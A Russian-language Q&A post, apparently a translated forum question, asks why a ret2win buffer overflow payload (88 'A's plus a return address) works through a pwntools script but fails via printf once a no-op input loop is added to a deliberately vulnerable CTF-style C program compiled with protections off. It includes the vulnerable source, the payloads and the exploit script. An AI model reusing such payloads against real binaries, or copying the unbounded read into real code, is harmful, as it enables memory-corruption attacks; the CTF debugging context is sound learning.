Невинный ввод прерывает эксплойт переполнения буфера? - PullRequest
0 голосов
/ 22 апреля 2019

Ниже приведена простая программа, уязвимая для переполнения буфера; она настолько похожа, насколько я мог сделать это на большую (CTF) программу, над которой я работал, и я «извлек» (переписал) только ту часть, в которой лежит ошибка.

Когда закомментированный цикл for не находится в двоичном виде, эксплойт работает; когда цикл находится в двоичном коде, хотя он вообще ничего не делает, эксплойт не работает.

Вот как я запускаю программу без и с циклом for соответственно:

printf 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out

printf 'a\na\na\na\na\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x7b\x06\x40\x00\x00\x00\x00\x00\n' | ./a.out

("A" * 88), где 0x0040067b равно unreachable() (после пролога).

unreachable находится в самом начале, поэтому адрес остается тем же самым, когда цикл for закомментирован или не закомментирован.

Тогда я написал этот сценарий:

#!/usr/bin/env python
from pwn import *
s = process('./own_wumpus')
for i in range(5):
    s.sendline('a')
payload = 'A'*88+'\x7b\x06\x40\x00\x00\x00\x00\x00'
s.sendline(payload)
s.interactive()

делать именно то, что я думаю printf, cat и все остальное, что я пытался сделать, но это вместо этого работает отлично (ls выполнено).

Это программа.

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>

char global[0x46];
void unreachable() {
    system("/bin/ls");
    exit(0);
}

char get_char() {
    char c;
    printf("%s\n> ", "Action");
    do {
        scanf("%c", &c);
    } while (c == '\n');
    return toupper(c);
}

int f(int fd, int max_bytes, char *buf) {
    int bytes_read = 0;
    int from_fd = fd;
    int total_read = 0;
    int max_bytes_to_read = max_bytes;
    char *p = buf;
    for (total_read = 0; total_read < max_bytes_to_read; total_read += bytes_read) {
        bytes_read = read(from_fd, p, 1);
        if (bytes_read <= 0) exit(0);
        if (*p == '\n') break;
        p += bytes_read;
    }
    return total_read;
}

int _main() {
    char buf[0x46];
    //for (int i = 0; i != 5; ++i) {
    //    *buf = get_char();
    //}
    memset(buf, 0, sizeof(buf));
    f(0, 0xc8, buf); // intended
    strncpy(global, buf, 0x45);
    return 0;
}

int main() {
    int false = 0;
    printf(">");
    if (false) unreachable();
    return _main();
}

Компилировать с:

gcc source.c -fno-stack-protector -no-pie -fno-plt -fno-pic -Wl,-z,norelro && strip a.out

Ожидаемый результат: ls выполняется каждый раз.

Фактический вывод: ls выполняется только с pwntools (скрипт Python выше); все остальное терпит неудачу. Когда цикл for закомментирован, ls выполняется также с printf A*88+address выше.

Моя первая мысль была о каналах, но она не объясняла различий с буферами с a и без них. (Еще более странно, что в реальной программе он работал с GDB и скриптом Python, но не с cat / printf.)

...